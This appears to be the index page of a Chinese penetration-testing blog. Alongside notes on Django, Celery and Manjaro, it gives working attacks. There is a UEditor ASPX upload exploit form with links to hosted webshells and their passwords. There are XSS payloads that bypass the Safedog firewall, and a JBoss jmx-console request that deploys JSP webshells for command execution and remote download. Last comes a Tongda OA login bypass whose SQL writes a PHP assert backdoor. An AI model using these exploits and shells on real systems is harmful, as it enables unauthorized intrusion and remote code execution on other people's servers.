ueditor 上传漏洞

| 热度 | 字数统计: 127 字 | 阅读时长: 1 分

ueditor ASPX 版本由于远程抓取代码缺陷导致的安全漏洞, 官方仍未修复

controller.ashx 文件默认在网站根目录

输入框里填写远程图片地址 + ?.aspx, 如 http://exp10it.cn/1.gif?.aspx

1
2
3
4
<form action="http://target/controller.ashx?action=catchimage"enctype="application/x-www-form-urlencoded"  method="POST">
<p>shell addr:<input type="text" name="source[]" /></p >
<input type="submit" value="Submit" />
</form>

一句话 密码 xz

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/1.gif?.aspx

大马 密码 r00ts

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/2.gif?.aspx

JSONP 劫持

| 热度 | 字数统计: 235 字 | 阅读时长: 1 分

JSON 是一种数据格式, JSONP 则为 JSON 跨域传输的解决方案.

因为同源策略的限制, b.com 不能获取到 a.com 的 JSON 数据.

实现 JSONP 一般通过 callback 的方式, 通过像 script 这样可以跨域请求的标签来获取数据.

Read More

Django 学习笔记

| 热度 | 字数统计: 2,095 字 | 阅读时长: 10 分

Django 是基于 Python 的 MVC 式 Web 框架.

与其它框架不同的是, Django 为 MVT 设计模式, M 为 Model, 负责对数据库结构的封装, V 为 View, 负责程序的主要操作, T 为 Template, 负责前端内容的输出.

不会讲太多, 文章面向那些想立即用 Django 快速开发一个网站/博客的朋友.

顺便吐槽下国内的的 X客园, Xsdn Xteye 等等网站, 内容复制来复制去的就不说什么了, 关于 Django 和 Python 深入一点的问题完全答非所问, 最后只好在 Django Python 官方文档和 StackOverFlow 找到答案.

Read More

xss bypass safedog

| 热度 | 字数统计: 891 字 | 阅读时长: 5 分

ref-xss

绕过 payload 格式

1
<[WORD] on[EVENT]=[EVAL]>[TEXT]

在随机单词的标签内加上 on 事件, 最后在标签外加上文本.

因为 html 的松散性, 导致 <sb>sb</sb> 都能被解析成标签, 并且支持触发类似于 onclick onmouseover 的事件

特别小众的标签也可以绕过安全狗的规则, 比如 acronym address, 翻翻 w3c 的教程能找出好多

dom-xss

安全狗不存在 dom-xss 的拦截规则

基本上没有尖括号就可以绕过了, 或者使用上面的 payload

由于上下文是在 JavaScript 的环境内, 会有很多的变形

1
2
";alert(0);//
";document.write("\u003cscript\u003ealert(0)\u003c\u002fscript\u003e");//

总之先闭合 然后直接弹窗 or 用 docment.write 写标签

Read More

windows 下载文件的几种姿势

| 热度 | 字数统计: 403 字 | 阅读时长: 2 分

Linux 下载文件的方式很多, 一般系统自带的 curl wget 就能搞定, 甚至还可以直接在线 apt yum 安装, 也有很多环境例如 Python Ruby Perl

Windows 就那么几个, 除了 vbs 和 powershell 以外大都是依赖于 microsoft 官方自带的命令行工具

对于写着 msiexec IEExec regsvr32 的那些人我只能说呵呵, 下载文件和直接下载执行不是一个概念

Read More

jboss 本地 getshell

| 热度 | 字数统计: 278 字 | 阅读时长: 1 分

Jboss 远程部署 getshell 有时候会爆 org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter 的错误

本地 getshell 不需要远程主机, 缺点是只能写特别小的 jsp 马, 太大可能会 400 或者 no response found

1
/jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=upload5warn.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=CONTENT&argType=boolean&arg4=True

把 CONTENT 替换成要写入的内容, 注意先要进行一次 url 编码

给出即个特别小的马

写 shell, 传参 ?f=test.txt&t=helloworldT

1
<% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>

执行命令, 传参 ?i=whoami

1
<%if(request.getParameter("i")!=null){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>

下载文件, 传参 ?f=test.txt&u=http://example.com/test.txt

1
<% if(request.getParameter("u")!=null){java.io.InputStream in = new java.net.URL(request.getParameter("u")).openStream();byte[] b = new byte[1024];java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();int a = -1;while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}new java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f")).write(baos.toByteArray());}%>

Celery 学习笔记

| 热度 | 字数统计: 1,501 字 | 阅读时长: 7 分

Celery 是一个强大的异步任务调度框架.

概念

类似于 生产/消费模型 中的生产者和消费者, 在 celery 中也有这样的几个角色, 分别是 broker backend work 和 task

Broker

broker 是用于传输消息的中间件, 当应用程序调用异步任务的时候, 会向 broker 传递消息, 之后 worker 取出任务并执行

RabbitMQ Redis 可作为 broker

Read More

Manjaro Linux 入坑指南

| 热度 | 字数统计: 2,433 字 | 阅读时长: 10 分

从 Deepin 换到了 Manjaro, 中间体验过 Ubuntu, 各种 PPA 加上网上零零散散的 deb 包, 找起来挺费事的

去年折腾过 Arch, 安装过程其实很简单, 基本上就是 分区 -> 挂载 -> chroot -> base 系统安装 -> 各种系统设置 -> grub 走一遍

没遇到过滚挂的情况, 但用起来总觉得怪怪的

Arch 系的发行版还有 antergos, 据说用户体验不怎么好

Read More

通达 OA 变量覆盖及 getshell

| 热度 | 字数统计: 152 字 | 阅读时长: 1 分

版本 2015, 乌云平台上的漏洞, 正好最近实战也用到了

变量覆盖

/logincheck.php

post 数据

USERNAME=admin&PASSWORD=&MYOA_MASTER_DB[id]=1&MYOA_MASTER_DB[host]=MYSQL_HOST&MYOA_MASTER_DB[user]=MYSQL_USER&MYOA_MASTER_DB[pwd]=MYSQL_PASSWORD&MYOA_MASTER_DB[db]=MYSQL_DATABASE

mysql 数据库需要自己部署

TD_OA.sql

getshell

后台有 sql 导入功能, 有两种方法, 使用 into outfile 或者用 general_log

1
2
3
4
5
update mysql.user set file_priv='Y' where user='root';
flush privileges;
select concat("'",0x3C3F7068702061737365727428245F504F53545B615D29203F3E) into outfile '../webroot/test.php';
update mysql.user set file_priv='N' where user='root';
flush privileges;
1
2
3
4
set global general_log = on;
set global general_log_file = '../webroot/test.php';
select '<?php assert($_POST[a]) ?>';
set global general_log = off;

保存为 sql 文件然后上传即可

xss tv 挑战笔记

| 热度 | 字数统计: 674 字 | 阅读时长: 3 分

test.xss.tv

最短 xss 平台的题目, 一共20关.

19关和20关没做, 都是 xsf, 之前审计过 flash 文件也没啥好印象.

这个相对于之前的 xss challenges 真是一点 Hint 都没有, 不过可以显示出 payload 的长度.

Read More